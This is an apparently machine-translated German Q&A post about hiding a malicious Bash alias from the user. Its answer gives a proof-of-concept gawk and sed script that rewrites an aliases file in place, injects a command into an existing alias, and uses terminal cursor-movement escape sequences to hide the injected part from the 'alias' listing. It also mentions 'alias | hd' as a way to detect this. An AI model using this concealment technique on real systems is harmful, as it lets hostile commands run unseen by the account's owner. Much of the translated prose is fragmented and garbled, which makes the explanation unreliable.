Ist es möglich, die Existenz eines böswilligen Alias in Bash auf einem Linux-System zu verbergen und vom Benutzer ohne dessen Wissen ausführen zu lassen?
9
Sie können dies tun, indem Sie den vorhandenen Alias an den böswilligen anhängen und ihn mit der Cursorbewegung ausblenden, wenn der alias
Befehl zum Anzeigen von Aliasdefinitionen verwendet wird. Es ist keine absolut narrensichere Methode, aber sie kann für eine Weile unentdeckt bleiben. Kochend alias
durch hd
wird Ihnen zeigen , ob es irgendwelche Escape - Sequenzen (Cursor - Bewegung) in Ihre Aliase sind. Hier ist ein Proof of Concept, wie ein böswilliger Befehl in einen Alias eingefügt werden kann:
alias | gawk 'BEGIN {
FS = "[ =\047]"
db = "\\"; sp = db " "; amp = db "&"
sq= "\047"; bell = "\007"; esc = "\033"
}
NR == 3 { len1 = length($2) }
NR == 4 {
alias = $2
orig = gensub(sq, "", "g", substr($0, match($0, "=") + 1))
orig = gensub(" ", db sp, "g", orig)
}
END {
hide = "$" db sq sp "--" sp db "\r" esc "[J" esc "[A" db "\t"
for(i=1; i<len1; i++) {hide = hide esc "[C"}
cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases"
system(cmd)
}'
sed
Befehl ändert eine Datei mit dem Namen "Aliase" an Ort und Stelle - ein echtes Skript dieses Typs würde in den Rachen gehen und eine echte Skriptdatei so ändern, dass der böswillige Alias bei der nächsten Ausführung aktiviert wird.hide
als Argument ausgeführt, sodass es denkbar ist, dass Sie einen Fehler erhalten, der dem in dieser Frage angegebenen ähnelt . Es könnte möglich sein, die ursprünglichen und böswilligen Teile umzukehren, um dies zu beeinflussen, obwohl dies die Argumente beeinträchtigen würde, die dem Alias zur Verfügung gestellt werden. Im obigen Skript wird versucht, das Ende von Argumenten mit zu markieren --
.&&
, könnten Sie Rohr einem zum nächsten und machen das schädliche Skript (dargestellt oben durch den einfachen echo
Befehl) Funktion als ein Pass-Through entweder die Daten zu ändern , wie es über oder geht zu verstecken ihre Existenz weiter, indem sie andere Umleitungen nicht störenstdin
stdout
hide
Zeichenfolge kann so geändert werden, dass sie unterschiedliche Cursorbewegungen und den Text des ursprünglichen Alias enthält, sodass der alias
Befehl den unveränderten Alias anzeigt, anstatt ihn zusammen mit dem böswilligen Teil auszublenden.. aliases
. Anschließend können Sie versuchen, den betroffenen Alias zu verwenden und zu sehen, wie er dabei aussieht alias|hd
.